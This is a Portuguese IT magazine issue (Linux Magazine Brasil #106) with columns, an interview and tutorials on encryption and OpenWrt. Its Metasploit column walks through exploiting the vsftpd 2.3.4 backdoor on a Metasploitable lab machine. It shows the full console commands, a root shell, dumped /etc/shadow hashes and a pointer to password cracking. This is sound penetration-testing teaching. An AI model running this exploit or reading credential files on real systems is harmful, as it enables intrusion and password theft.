AUGUSTO CAMPOS P.10 O curioso caso do Truecrypt MADDOG P.23 Concurso para melhoria do desempenho do kernel CEZAR TAURION P.26 Cientista de Dados: o profissional de Big Data MEDIALINX # 106 Setembro 2013 A REVISTA DO PROFISSIONAL DE TI Segurança EM TEMPOS ONDE OS SEGREDOS QUE VOCÊ CONFIA AO SEU EMAIL E AOS SEUS SISTEMAS LOCAIS NÃO SÃO TÃO SECRETOS ASSIM, TODO CUIDADO É POUCO P.32 ENTREVISTA p.23 Entrevistamos Richard Collins, gerente de produtos da Canonical, que contou as novidades do Ubuntu para Android » Bate-papo seguro e criptografado P.34 » Novos padrões de segurança para SSL/TLS P.37 » ZFS criptografado com Ubuntu P.42 » Certificados pessoais auto-assinados P.47 » MFT: Nova opção para transporte seguro de arquivos P.51 VEJA TAMBÉM NESTA EDIÇÃO: » Monitoramento de sistemas com a ferramenta iftop P.54 » Gerenciamento de configuração com Puppet P.57 » Transforme um simples roteador em um servidor com OpenWrt P.60 » Use o processador para assumir a tarefa dos cálculos 3D P.72 UBUNTU TOUCH P.67 Desenvolva aplicativos e transforme seu dispositivo móvel ANDROID P.69 Melhore a qualidade de som do seu Android SEGURANÇA P.76 Container chroot para execução de programas perigosos 00106 9 771806 942009 WWW.LINUXMAGAZINE.COM.BR #10609/13 R$14,90 € 7,50 Expediente editorial Diretor Geral Rafael Peregrino da Silva [email protected] Editores Flávia Jobstraibizer [email protected] Laura Loenert Lopes [email protected] Editor de Arte Hunter Lucas Fonseca [email protected] Colaboradores Alessandro de Oliveira Faria, Antonio Pádua, Bernhard Bablok, Kristian Kissling, Hanno Böck, Paul C. Brown, Dan Frost, Charly Kühnast, Frank Hofmann, Robert Korherr, Heike Jurzik, Lars Kotthoff, Kurt Seifried, Zack Brown, Jon “maddog” Hall, Alexandre Borges, Cezar Taurion, Gilberto Magalhães, Klaus Knopper, Augusto Campos. Tradução Laura Loenert Lopes Revisão Flávia Jobstraibizer Editores internacionais Uli Bantle, Andreas Bohle, Jens-Christoph Brendel, Hans-Georg Eßer, Markus Feilner, Oliver Frommel, Marcel Hilzinger, Mathias Huber, Anika Kehrer, Kristian Kißling, Jan Kleinert, Daniel Kottmair, Thomas Leichtenstern, Jörg Luther, Nils Magnus. Anúncios: Rafael Peregrino da Silva (Brasil) [email protected] Tel.: +55 (0)11 3675-2600 Penny Wilby (Reino Unido e Irlanda) [email protected] Amy Phalen (América do Norte) [email protected] Hubert Wiest (Outros países) [email protected] Diretor de operações Claudio Bazzoli [email protected] Na Internet: www.linuxmagazine.com.br – Brasil www.linux-magazin.de – Alemanha www.linux-magazine.com – Portal Mundial www.linuxmagazine.com.au – Austrália www.linux-magazine.es – Espanha www.linux-magazine.pl – Polônia www.linux-magazine.co.uk – Reino Unido www.linuxpromagazine.com – América do Norte Apesar de todos os cuidados possíveis terem sido tomados durante a produção desta revista, a editora não é responsável por eventuais imprecisões nela contidas ou por consequências que advenham de seu uso. A utilização de qualquer material da revista ocorre por conta e risco do leitor. Nenhum material pode ser reproduzido em qualquer meio, em parte ou no todo, sem permissão expressa da editora. Assume-se que qualquer correspondência recebida, tal como cartas, emails, faxes, fotografias, artigos e desenhos, sejam fornecidos para publicação ou licenciamento a terceiros de forma mundial não-exclusiva pela Linux New Media do Brasil, a menos que explicitamente indicado. Linux é uma marca registrada de Linus Torvalds. Linux Magazine é publicada mensalmente por: Linux New Media do Brasil Editora Ltda. Rua São Bento, 500 Conj. 802 – Sé 01010-001 – São Paulo – SP – Brasil Tel.: +55 (0)11 3675-2600 Direitos Autorais e Marcas Registradas © 2004 - 2013: Linux New Media do Brasil Editora Ltda. Impressão e Acabamento: EGB Atendimento Assinante www.linuxnewmedia.com.br/atendimento São Paulo: +55 (0)11 3675-2600 Rio de Janeiro: +55 (0)21 3512 0888 Belo Horizonte: +55 (0)31 3516 1280 ISSN 1806-9428 Impresso no Brasil Linux Magazine #106 | Setembro de 2013 Editorial Final de campeonato Durante a LinuxCon Europe, evento da Linux Foundation que ocorreu em Edimburgo, Escócia, nos dias 24 e 25 de outubro, Linus Torvalds emitiu uma daquelas suas declarações que tem potencial para se espalhar como fogo em mato seco: “O SteamOS pode realmente ajudar o Linux no desktop.” O SteamOS é um sistema operacional gratuito baseado em Linux construído ao redor do Steam, o mais popular serviço de distribuição de jogos do mundo. O sistema operacional foi criado pela Valve Corporation, empresa americana de desenvolvimento e distribuição de videogames fundada em 1996 por dois ex-funcionários da Microsoft, para uso nas chamadas “Steam Boxes”, PCs projetados para o uso na sala de estar. O fato de a Valve estar apostando no Linux como base para levar seus jogos a gamers no mundo inteiro é com certeza uma boa notícia: pouco depois de o SteamOS ter sido anunciado, tanto a AMD quanto a Nvidia anunciaram melhor suporte a seus drivers para Linux. Além disso, a API multiplataforma para acesso direto ao hardware da placa de vídeo de codinome Mantle, recém anunciada pela AMD, uma concorrente direta ao DirectX e à OpenGL, vai permitir a todas as distribuições Linux aproveitar ao máximo os recursos de adaptadores gráficos compatíveis com esse padrão. Torvalds acredita que a iniciativa da Valve pode ajudar na padronização dos ambientes de trabalho usados em estações Linux, atualmente uma “casa dividida”, com vários projetos indo em diferentes direções (KDE, Gnome, Gnome Classic, Unity, LXDE, Xfce, Mate etc.). Na opinião dele, o SteamOS poderia servir como referência para todos os outros ambientes desktop, já que todos eles querem que seus usuários sejam capazes de jogar os games distribuídos via Steam em suas plataformas. O raciocínio do criador do kernel Linux é muito razoável, especialmente se levarmos em conta a área de trabalho de estações Linux tradicionais, mas que deve paulatinamente ceder espaço para ambientes mais modernos – basicamente tablets, via de regra equipados com Android (ele próprio um sistema operacional baseado no kernel Linux), que podem ser ligados a monitores ou televisores, usando teclados ou controladores de jogo (com ou sem fio). Esses sistemas também podem acabar tirando proveito das melhorias realizadas nos drivers das placas de vídeo, ganhando mais desempenho, estabilidade e baixo consumo. Em resumo, o desktop Linux do futuro já chegou: está na grande maioria dos tablets em nossas mãos. A próxima fase deverá ampliar o uso da plataforma do pinguim no desktop legado, especialmente aqueles voltados para gamers. Isso também deverá facilitar a vida dos usuários corporativos de desktops e notebooks, além de garantir uma vida útil maior da bateria de todo tipo de equipamento portátil (notebooks, tablets, smartphones, consoles de jogos portáteis, dispositivos GPS e qualquer outro tipo de gadget). Nos encaminhamos assim para o final desse campeonato. Um pinguim com uma medalha de ouro no peito não está tão longe, qualquer que seja a modalidade do jogo. E em tempos de Edward Snowden, essa vitória final é muito bem-vinda. Rafael Peregrino da Silva Diretor de Redação 3 INDICE CAPA Segredos bem guardados 32 Em tempos onde os segredos que você confia ao seu email e aos seus sitemas locais não são tão secretos assim, todo cuidado é pouco. Bate-papo seguro 34 Jitsi é um programa de bate-papo versátil. O programa Java pode lidar com todos os protocolos populares de mensagens instantâneas e até mesmo telefonia de vídeo por IP. Novos padrões 37 Numerosos ataques abalaram a segurança da criptografia SSL/ TLS nos últimos anos. Novos padrões poderiam remediar a situação, mas ainda não são amplamente utilizados. ZFS criptografado com Ubuntu Neste artigo, mostraremos como usar a criptografia de disco do Linux para instalar o Ubuntu em um disco criptografado com ZFS. 42 Do lado seguro 47 Klaus Knopper ensina uma forma simples de usar certificados pessoais auto-assinados e criptografia digital. Transporte seguro 51 Apesar do FTP ainda fazer um bom serviço, se o usuário precisa enviar dados sensíveis, deve considerar a opção pela transferência de arquivos gerenciados. 4 www.linuxmagazine.com.br Linux Magazine xxx | ÍNDICE COLUNAS CORPORATE 07 Coluna: Jon “maddog” Hall23 Alexandre Borges08 Coluna Antonio Pádua24 Augusto Campos 10 Coluna: Cezar Taurion26 Charly Kühnast Kurt Seifried 11 Klaus Knopper 14 Zack Brown 17 Notícias 22 Entrevista: Richard Collins28 Notícias30 ➧ Raspberry Pi pode ser fabricado no Brasil ➧ Empresas aumentam uso Linux para reduzir custos ➧ Corretagem na nuvem é tendência para 2014 ´ ANALISE ➧ Google lança Coder, projeto de código livre para Raspberry Pi REDES Tubo gráfico 72 A ideia é simples: se o driver da placa gráfica não oferece gráficos 3D, Tráfego assistido 54 O iftop é uma ferramenta de linha de comando para monitoramento de sistema que pode ajudar a identificar os problemas de largura de banda (bandwidth hogs) e manter o movimento de tráfego. uma ajuda especial delegaria todos os cálculos 3D ao processador principal. Neste artigo, explicamos como fazer esse trabalho.. TUTORIAL Manutenção automatizada SEGURANÇA 57 Se o usuário deseja que apenas suas tardes pertençam ao trabalho, não precisa depender de gerenciamento de configuração. Mas é necessário perder a hora extra apenas para configurar um sistema de servidor? Prisão privada 76 Virtualizar é bom, mas às vezes pode ser um exagero, se tudo o que o usuário quiser fazer for executar um Servidor de1 watt programa que poderia representar uma ameaça ao sistema. 60 O chroot jails oferece uma alternativa leve, rápida e bem testada. Aprenda como instalar e configurar este novo sistema operacional em seu dispositivo Android. Desenvolvimento para Ubuntu Touch 67 Aprenda a desenvolver aplicativos para o Ubuntu Touch e torne seu dispositivo móvel em um computador Linux de bolso! ANDROID Aperte o play! Os melhores aplicativos de música e truques para melhorar a qualidade de som do seu Android. 69 SERVIÇOS Editorial03 Emails06 Linux.local78 Preview Linux Magazine #106 | Setembro de 2013 82 5 Coluna do Alexandre Metasploit – parte 6 Na coluna deste mês, aprenda como a efetivar um ataque bem sucedido com Metasploit através de uma vulnerabilidade já conhecida. por Alexandre Borges N este mês, sem muita demora, vamos utilizar o Metasploit de forma mais incisiva. Em nosso ambiente, podemos utilizar o ambiente de desenvolvimento já instalado no Ubuntu (para o qual foi mostrado o procedimento de instalação na coluna anterior) ou ainda o Kali Linux [1], uma máquina própria para este tipo de teste (com Metasploitable 2 – [2]) com endereço IP 192.168.1.105 e um Windows XP SP2 com endereço IP 192.168.1.106. Realizando o escananeamento destas máquinas com Nessus ou OpenVAS, obtemos um número significativo de vulnerabilidades e, quem sabe, boa parte delas exploráveis. Por exemplo, escaneando a máquina Metasploitable2, descobre-se uma vulnerabilidade crítica chamada “vsftpd Smiley Face Backdoor” [3] e com esta informação poderemos realizar uma exploração de modo bastante direto. Digite msfconsole para obter acesso ao console do Metasploit e procure por um exploit para esta vulnerabilidade em específico: msf> search 73573 Matching Modules ================ Name Disclosure Date Rank Description –––––– ––––-exploit/unix/ftp/vsftpd_234_backdoor 2011-0703 00:00:00 UTC excellent VSFTPD v2.3.4 Backdoor Command Execution Para saber mais sobre este exploit, proceda da seguinte forma: msf exploit(vsftpd_234_ backdoor) > info exploit/ unix/ftp/ vsftpd_234_backdoor Selecione este exploit para uso e verificamos suas opções: msf> use exploit/unix/ftp/vsftpd_234_backdoor msf exploit(vsftpd_234_backdoor) > show options Module options (exploit/unix ftp/vsftpd_234_ backdoor): Name Current Setting Required Description –- ––––– ––-- –––-RHOST yes The target address RPORT 21 yes The target port Exploit target: Id Name -- –0 Automatic Como o leitor pode notar, a máquina remota (a ser explorada) não está especificada com seu endereço IP e, além disso, o único tipo de alvo disponível é “Automatic” o que facilita a nossa vida, ou seja, o Metasploit determina automaticamente o tipo do sistema operacional: msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.1.105 RHOST => 192.168.1.105 msf exploit(vsftpd_234_backdoor) > set TARGET 0 TARGET => 0 É necessário escolher o payload (código, backdoor, trojan etc.) a ser enviado para a máquina alvo uma vez ela tenha sido explorada. Este passo é essencial já que o payload nos permite, muitas vezes, acesso remoto à máquina explorada (por exemplo, se estivéssemos executando um comando Netcat sendo executado em modo de escuta). Portanto devemos executar o comando: msf exploit(vsftpd_234_backdoor) > show payloads Compatible Payloads =================== Name Disclosure Date Rank Description –––––– ––––-cmd/unix/interact normal Unix Command, Interact with Established Connection para obter mais informações sobre o payload, selecioná-lo para ser enviado para a máquina sob ataque e ainda verificar quais são suas opções disponíveis (neste caso, não haverá nenhuma opção): 8 www.linuxmagazine.com.br msf exploit(vsftpd_234_backdoor) > info cmd/unix/interact msf exploit(vsftpd_234_backdoor) > set payload cmd/ unix/interact payload => cmd/unix/interact msf exploit(vsftpd_234_backdoor) > show options Module options (exploit/unix/ftp/vsftpd_234_backdoor): Name Current Setting Required Description –- ––––– ––-- –––-RHOST 192.168.1.105 yes The target address RPORT 21 yes The target port Payload options (cmd/unix/interact): Name Current Setting Required Description –- ––––– ––-- –––-Exploit target: Id Name -- –0 Automatic FInalmente, somente nos resta realizar o ataque propriamente dito: msf exploit(vsftpd_234_backdoor) > exploit [*] Banner: 220 (vsFTPd 2.3.4) [*] USER: 331 Please specify the password. [+] Backdoor service has been spawned, handling... [+] UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 3 opened (192.168.1.107:55485 -> 192.168.1.105:6200) at 2013-09-15 18:56:55 -0300 uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux id uid=0(root) gid=0(root) cat /etc/shadow root:$1$/avpfBJ1$x0z8w5UF9Iv./ DR9E9Lid.:14747:0:99999:7::: daemon:*:14684:0:99999:7::: bin:*:14684:0:99999:7::: sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD 9l0:14742:0:99999:7::: Mais informações [1] Kali Linux: http://www.kali.org/ [2] Metasploitable 2: http://sourceforge.net/projects/metasploitable/files/Metasploitable2/ [3] Vulnerabilidade vsftpd Smiley Face Backdoor: http://osvdb.org/73573 [4] Como quebrar senhas: http://alexandreborges. org/2013/08/05/introduction-to-password-cracking-part-1/ Linux Magazine #XX | Mês de 200X Nunca foi tão fácil! Quer quebrar a senha? Use o John the Ripper [4]. Até o mês que vem. n Alexandre Borges (linkedin: br.linkedin.com/in/aleborges) é instrutor e especialista sênior em sistemas operacionais Unix, Linux, Banco de Dados, Virtualização, Cluster, Storage, Servidores, Backup, Desempenho e Segurança, além de possuir profundo envolvimento com assuntos relacionados ao kernel Linux. 9 Coluna do Augusto O curioso caso do Truecrypt Uma útil e excelente ferramenta de criptografia de disco, continua enfrentando problemas em seu licenciamento. por Augusto Campos O Truecrypt é um utilitário de criptografia de disco popular na plataforma Windows, e disponível também para Linux e Mac OS X. Ele cria um disco criptografado em uma partição, um disco inteiro (incluindo dispositivos removíveis) ou mesmo em uma unidade virtual mapeada a partir de um arquivo comum. Ele se diferencia de outras soluções por oferecer mecanismos que permitem buscar e manter escondida a própria existência de um volume criptografado e por oferecer diversas técnicas de aceleração para permitir gravar e acessar os dados com velocidades que se aproximam do uso dos mesmos dispositivos sem criptografia (dependendo da aplicação, claro). Alem disso, ele consegue criptografar até mesmo o disco onde está instalado o sistema operacional – na plataforma Windows, onde isso não é tão comum. O código-fonte do Truecrypt está disponível, mas os seus termos de licenciamento são um dos aspectos que o tornam um caso curioso: por mais que ofereça as condições fundamentais de permisão de uso, estudo, modificação e redistribuição, a licença do TrueCrypt inclui algumas restrições sui generis (por exemplo, proíbe o uso e redistribuição do software a quem não compreender a íntegra da licença) que até hoje a impedem de ser considerada free software ou open source (a última avaliação a respeito foi em outubro de 2013), e faz com que várias 10 distribuições Linux não incluam o Truecrypt em seus pacotes oficiais. Outra questão que aumenta o status de curiosidade é que o executável distribuído pelos autores para uso em Windows tem algumas diferenças visíveis nas estruturas de dados, em relação a outras plataformas, o que já despertou suspeitas de que ele armazene e “vaze” chaves de seus usuários. Essas suspeitas se ampliam porque até recentemente ninguém conseguia gerar um executável igual ao oficial, partindo do código-fonte oficial, o que ampliava as teorias de que havia uma backdoor no executável para Windows. No final de outubro, entretanto, um usuário empreendedor publicou seu passo-a-passo para chegar a um executável igual ao original, partindo dos fontes oficiais. A receita é complexa, e envolve até mesmo usar uma versão de 1994 do compilador C++ – mencionado na documentação, mas aparentemente ninguém acreditava que ela estivesse atualizada. E para completar o status de curiosidade do TrueCrypt: ninguém sabe quem são seus autores. Eles assinam o código apenas coletivamente, com nomes que variam: hoje é TrueCrypt Foundation, mas já foi TrueCrypt Developers Association, e outros nomes menos cotados. Para atividades que exigem registro, eles variam estados e países, desde Nevada, nos EUA, até a República Tcheca. E se você pensa que o importante é o código estar disponível, pense de novo: é difícil auditar código de criptografia, e exemplos de inclusão de backdoors no código-fonte, mantendo-as difíceis de detectar, não faltam. Não creio ser o caso, mas também não descarto a possibilidade, a princípio. Por enquanto, no mínimo, trato o TrueCrypt como... um caso curioso. n Augusto César Campos administrador de TI e, desde 1996, mantém o site BR-linux.org, que cobre a cena do Software Livre no Brasil e no mundo. www.linuxmagazine.com.br Entrevista Do desktop para o smartphone Richard Collins, gerente de produtos da Canonical, oferece uma prévia do Ubuntu para Android. por Kristian Kissling Linux Magazine » Qual o projeto do momento para Ubuntu? Richard Collins » Sou responsável pelo Ubuntu para Android. Também tenho trabalhado nos projetos do tablet Ubuntu e Ubuntu Phone. LM » Já existe um Android: é livre, baseado em Linux e já está estabelecido no mercado de smartphones. Porque deveríamos escolher o Ubuntu? RC » O Ubuntu para Android é uma solução que trabalha em conjunto com o Android. O Android é um sistema operacional muito bem sucedido, que proporciona uma excelente experiência de telefonia móvel; no entanto, o Android só é verdadeiramente relevante como um sistema operacional para smartphone. Os serviços e experiências que funcionam bem no Android só são projetados e otimizados para um contexto móvel. Para smartphones mais recentes que possuem a capacidade de oferecer uma experiência de desktop, com aplicativos e uma interface de usuário quando conectados a um monitor através de uma conexão HDMI, acreditamos que os usuários desejem a capacidade total de um sistema que é projetado para desktop e queiram utilizar os serviços que funcionam exatamente da mesma maneira como usariam em seus laptops. O 28 Ubuntu é um sistema operacional de desktop bem estabelecido, compreendido e usado; por isso, o Android não pode entregar uma experiência de desktop do mesmo nível que o Ubuntu. LM » Você planeja instalar o Ubuntu em smartphones “dual core” como desktops adicionais. E quanto à segurança? Como você pretende proteger dados privados, por exemplo, em caso de perda ou roubo do smartphone? RC » O sistema de segurança inerente ao Ubuntu não é afetado. O sistema operacional do Ubuntu funciona de forma completamente nativa no hardware e não há acesso ao sistema Ubuntu a partir de qualquer serviço móvel Android. A solução Ubuntu para Android permitirá aos usuários fazer backup e salvar dados pessoais no serviço de nuvem Ubuntu One, e esta é uma maneira de manter os dados pessoais separados do dispositivo, da mesma maneira que qualquer outro tipo de dispositivo que poderia estar em risco de ser perdido ou roubado, como um laptop. Qualquer serviço específico de proteção de telefone é melhor gerenciado a partir do sistema Android – por exemplo, bloquear e excluir dados remotamente – e desativar o telefone dessa maneira também irá proteger o usuário de ter seus dados pessoais ou sensíveis comprometidos. Do ponto de vista da empresa, se o dispositivo está sendo usado para conexão remota, há muitas soluções de segurança que a implementam na camada do aplicativo, e uma vez que já provaram funcionar muito bem para o Ubuntu em laptops, devem funcionar também para o Ubuntu em smartphones. LM » O pessoal da Engadget testou o Ubuntu para Android, e achou o sistema bastante lento. Qual hardware você espera ser executado no Ubuntu? RC » A entrevista com a Engadget foi baseada em um protótipo utilizando o Motorola Atrix 2. A Canonical desenvolveu este protótipo de forma independente, por isso o desempenho ficou limitado às capacidades inerentes ao hardware. Existe uma série de possibilidades para melhorar o desempenho do produto e desde então temos otimizado o sistema para executa-lo de forma mais eficiente. Mas o mais importante, ao desenvolvermos a solução Ubuntu para Android em conjunto com um fabricante de hardware, é que o fabricante terá www.linuxmagazine.com.br a oportunidade de propor novas otimizações e desempenho. LM » Você já encontrou parceiros oficiais de hardware para cooperarem com o projeto? Quando será possível adquirir o dispositivo? RC » As discussões ainda estão em andamento e esperamos anunciar a disponibilidade do produto dentro em breve. LM » Há mais fornecedores planejando comercializar dispositivos que possam lidar com o dual boot Android e Ubuntu? RC » Para ser mais preciso, a solução Ubuntu é baseada no uso do kernel Linux para executar dois sistemas operacionais ao mesmo tempo. Existem determinados requisitos de hardware necessários para suportar o Ubuntu para Android, como CPU multicore, e vemos que todos os principais fabricantes de celulares que baseiam seus sistemas em arquiteturas ARM estão em processo de anunciar aparelhos de ponta com capacidades de CPU multicore. LM » Será que este projeto também visa colocar o Ubuntu em smartphones Android habituais, ou o foco está apenas nos dispositivos “dual boot”? RC » A estratégia está focada em permitir que smartphones de ponta possam executar o Android. LM » O código estará disponível para os usuários utilizarem em seus dispositivos? RC » Não temos planos imediatos de liberar o código para que os usuários o instalem em seus próprios aparelhos, pois isso requer um conhecimento técnico muito específico, e a gama de aparelhos capazes de suportar Ubuntu para Android ainda é muito pequena. Tornar o código disponível para download de forma independente não serviria a qualquer propósito real, uma vez que é extremamente difícil executar a versão atual do software em um dispositivo sem o suporte adequado do fabricante do hardware. LM » Quantos membros da comunidade Ubuntu estão envolvidos no projeto atualmente? RC » Dado que o projeto está em fase de desenvolvimento, ainda é um projeto interno da Canonical nesta fase. Isto porque o tipo de trabalho está focado em atender diretamente aos fabricantes de celulares; no entanto, à medida que conseguirmos mais sucesso com o produto e ele seja implementado de forma mais ampla, como um produto de consumo, surgirão oportunidades de trabalhar em estreita colaboração com a comunidade. n Gostou do artigo? Queremos ouvir sua opinião. Fale conosco em: [email protected] Este artigo no nosso site: http://lnm.com.br/article/8938 2 ! e 1 I P L o ã ç a Livros c i f i para Cert A Linux Magazine oferece estas edições revisadas e ampliadas dos livros que te preparam para as Certificações LPIC-1 e 2, com as seguintes novidades: • Exercícios em todos os tópicos • Todo conteúdo ampliado para a nova versão da prova, atualizada em agosto/2012. Garanta já os seus pelo site da Linux Magazine www.linuxmagazine.com.br Linux Magazine #XX | Mês de 200X 29 Capa Segredos bem guardados Em tempos onde os segredos que você confia ao seu email e aos seus sistemas locais não são tão secretos assim, todo cuidado é pouco. por Flávia Jobstraibizer S egredos já são coisas difíceis de se confiar a alguém (vide a frase do filme ConAir: “Eu só confio em dois homens neste mundo, um sou eu e o outro não é você.”), imagine então se os confiamos à sistemas e somos pegos totalmente desprevenidos ao saber que nossas conversas, arquivos e dados foram surrupiados (ou lidos sem permissão) por sabe-se lá quem em qualquer parte do mundo. Pois é o que frequentemente vem sendo trazido à tona pela nova “geração Snowden”: profissionais que detinham em seu poder informações confidenciais das mais diversas e que decidiram em algum momento trazê-las à tona. Entre os membros dessa geração podemos citar WikiLeaks, o grupo Anonymous e outros ciberativistas. É sabido que temos de manter certo nível de proteção aos dados que armazenamos em nossos bancos de dados, sistemas e servidores e que, mesmo assim, esses dados podem 32 ser coletados em algum momento (lidos através de sniffers, copiados por invasores ou sob outras formas). Mas talvez, tornar esses dados ilegíveis ou então muito difíceis de serem decifrados seja um caminho para evitar o roubo de informações. Nesta edição da Linux Magazine vamos falar sobre criptografia, esse velho assunto já conhecido atualmente até mesmo por leigos em informática por figurar na lista dos dez principais assuntos da atualidade (talvez depois do lançamento do game GTA V. Você vai aprender nas próximas páginas como criar um sistema de arquivos ZFS criptografado, evitando assim que eventuais informações roubadas sejam lidas facilmente pelo invasor (e consequentemente distribuídas). Também vai aprender como gravar conversas telefônicas através dos protocolos Jabber e SIP com o aplicativo Jitsi e como enviar arquivos de grande porte com uma camada adicional de criptografia deixando de lado o velho FTP e adotando o novo protocolo MFT (Managed File Transfer). Ainda nesta edição, não perca o artigo que irá ensinar a criar e utilizar assinaturas digitais e criptografia com SSL e para finalizar, saiba como resolver problemas com a encriptação de dados do protocolo TLS (antigo SSL). As próximas páginas podem auxiliá-lo a evitar diversos problemas se você é alguém que possui (ou trabalha em uma empresa que possui) informações sigilosas armazenadas e não quer vê-las sendo exibidas por aí por algum popular ciberativista da atualidade. Boa leitura! n Matérias de capa Bate-papo seguro 34 Novos padrões 41 ZFS criptografado com Ubuntu 34 Do lado seguro Transporte seguro 47 51 www.linuxmagazine.com.br Tutorial Servidor de 1 watt Neste artigo, mostraremos como usar o OpenWrt para liberar o roteador TL-MR3020 do firmware proprietário e convertê-lo em um servidor conjunto para uma rede doméstica. por Bernhard Bablok A TP-Link [1] fabrica roteadores em várias classes de desempenho. O TL-MR3020 (figura 1) é comercializado pelo fabricante como um roteador móvel, porque é pequeno e leve. No entanto, ele não suporta 3G (quadro 1), embora seja possível atualizá-lo através da porta USB. Assim, o roteador é destinado a pessoas que não precisam de 3G ou possuem um dispositivo de conexão UMTS e, portanto, não desejam investir em um roteador móvel UMTS caro. No entanto, o uso “normal” do roteador não é o foco deste artigo; em vez disso, descreveremos como convertêlo em um mini servidor. Para fazer isso, substituiremos o firmware existente pelo OpenWrt [2], uma distribuição Linux especial para microdispositivos. O OpenWrt contempla um sistema de gerenciamento de pacotes que não é de forma alguma inferior ao das distribuições clássicas; assim, apenas as limitações do hardware poderão conter a criatividade do usuário. o sistema) do aparelho. Por outro lado, o fabricante não impõe obstáculos na instalação de firmware de terceiros. Para começar, baixe a versão correta do OpenWrt [3] e siga as breves (porém suficientes) instruções que vêm com o roteador para conectar-se à interface web do dispositivo. Quando chegar lá, faça o upload do novo firmware para o TL-MR3020, selecionando Upgrade no formulário web (figura 2). Fazer o upload do firmware é o único passo realmente crítico de todo o processo. Assim, antes de carregar a imagem, é essencial verificar as postagens na wiki do OpenWrt [3] e se- guir as instruções adequadas. Depois de instalá-lo, o próximo passo é a configuração básica, particularmente para a rede. Em seguida será necessário configurar uma série de pacotes de software que atualizam o suporte USB para meios de dados (do tipo pendrives ou discos rígidos). Esta etapa permite fazer o boot do roteador a partir de um disco externo. No sistema de arquivos raiz, agora estendido, o usuário adiciona mais pacotes de software do repositório OpenWrt para o aplicativo real. O equipamento O TL-MR3020 é bastante adequado para este fim, por duas razões: por um lado, custa 30 euros (ou 40 dólares americanos) – o que não é muito, se acontecer do usuário “bricar” (danificar permanentemente 60 Figura 1 O TL-MR3020 da TP-Link (à esquerda) não é maior do que a palma da mão do usuário. O mini hub USB de Pearl (direita) atua como um expansor. www.linuxmagazine.com.br Listagem 1: /etc/config/network 01 # /etc/config/network ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ 02 03 config interface 'loopback' 04 option ifname 'lo' 05 option proto 'static' 06 option ipaddr '127.0.0.1' 07 option netmask '255.0.0.0' 08 09 config interface 'wifi' 10 option proto 'static' 11 option ipaddr '192.168.3.100' 12 option netmask '255.255.255.0' 13 option gateway '192.168.3.1' 14 list dns '192.168.3.1' 15 list dns '8.8.8.8' Figura 2 O OpenWrt é carregado como uma atualização de firmware através da interface web original no TL-MR3020. Primeiro contato Após a atualização do firmware e reboot do dispositivo, podemos conectar o PC ou laptop ao roteador com o uso de um cabo. Configure a rede (normalmente podemos usar o gerenciador de rede para isso) e faça o login via Telnet em 192.168.1.1 Figura 3 Feito: O primeiro login no OpenWrt. Linux Magazine #106 | Setembro de 2013 (figura 3). O roteador executa um servidor DHCP que fornece um endereço adequado para o PC ou laptop. Neste ponto, devemos definir uma senha para o root. O OpenWrt, então, desliga o servidor Telnet por razões de segurança e inicia o servidor SSH. Em seguida, ajuste a configuração de rede para que o roteador esteja na rede doméstica; siga em frente e adicione mais software. Para mais informações sobre o sistema de configuração OpenWrt, veja o quadro 2. Para usar o roteador como um servidor na rede doméstica, a configuração de rede deve se parecer com a listagem 1 (/etc/config/network) e listagem 2 (/etc/config/wireless). As linhas 9-15 na listagem 1 configuram a interface WLAN. Na listagem 2, a linha 19 garante que o servidor esteja integrado à rede como um cliente de WLAN e não como um ponto de acesso ou roteador. Após o reboot, o dispositivo deve ser encontrado no endereço de rede configurado. Se não, o modo de emergência pode ajudar: durante o processo de boot, pressione o botão WPS tão logo comece a piscar. Se o LED piscar rapidamente, ligue-o novamente. Agora o dispositivo estará 61 Figura 4 Usando a interface web no OpenWrt para recuperar o estado do sistema. no modo Failsafe com o endereço padrão 192.168.1.1 e executando o daemon Telnet. Podemos nos conectar ao Telnet e fazer as correções necessárias. No entanto, nenhum servidor DHCP está disponível no roteador neste modo. Devemos atribuir um endereço IP ao próprio computador manualmente. Mais software A imagem do firmware original não contém todos os componentes necessários para o funcionamento do sistema de arquivos raiz em um pendrive USB, assim, teremos que adicioná-los agora. Após concluir com sucesso a configuração de rede, o mini roteador pode acessar a Internet e usar o sistema de gerenciamento de pacotes conveniente para instalar software adicional retroativamente. O ponto crucial é o comando opkg, que precisamos executar como root. Para fazer isso, primeiro chame opkg update para atualizar a lista de pacotes. Em seguida, instale os pacotes especificados usando o seguinte comando: # opkg install <pacote> Quadro 1: Hardware O TL-MR3020 é uma pequena caixa de plástico branca (figura 1) medindo 7,4 x 6,7 x 2,2 centímetros e pesando apenas 60 gramas. Um conector USB mini é usado para a fonte de alimentação e o adaptador AC oferecido fornece 1 watt. Além disso, o roteador também funciona sem problemas em uma porta USB. Além disso, o TL-MR3020 inclui uma porta USB 2.0 e uma porta Ethernet RJ45 (100Mbps). A TP-Link fornece um curto cabo de extensão para esta última. No lado sem fio, o pequeno roteador suporta IEEE 802.11b/g/n em até 150Mbps. O TL-MR3020 utiliza cinco LEDs para indicar o status, quatro dos quais podem ser programados. Há também um botão para a configuração sem fio via WPS e um desbloqueador com três posições (3G/WISP/AP). Por dentro, o roteador possui uma CPU ARM de 400MHz e 32MB de RAM. O sistema operacional reside em um chip de memória flash de 4 MB. A porta USB é usada com o firmware original para conectar um dispositivo de conexão UMTS para operação como um roteador 3G móvel. Sem um pendrive, o dispositivo funciona como um ponto de acesso sem fio. Como uma adição útil ao TL-MR3020, recomendamos um hub USB mini Pearl (figura 1). Este dispositivo integra um leitor de micro-SDHC e, portanto, fornece o sistema de arquivos raiz avançado descrito neste artigo em um cartão de memória, sem bloquear a porta USB. A placa do roteador contém portas adicionais, mas o TP-Link não faz o roteamento delas. Se o usuário usar um ferro de solda poderá anexar outros componentes, como um console serial, uma interface I2C ou uma antena externa. A wiki do OpenWrt apresenta algumas fotos e links para instruções relevantes sobre o TL-MR3020 [3]. 62 Se o usuário estiver procurando por um pacote específico, o subcomando list gera uma lista de pacotes com descrições breves. Para a instalação USB, precisamos basicamente de um conjunto de pacotes do kernel (listagem 3). É melhor particionar e formatar o pendrive USB (/dev/sdb na listagem – pode ser necessário ajustar isso) no PC. Além da partição raiz, é desejável manter uma partição home e, acima de tudo, espaço de swap. Depois, podemos simplesmente conectar o pendrive no roteador e Listagem 2: 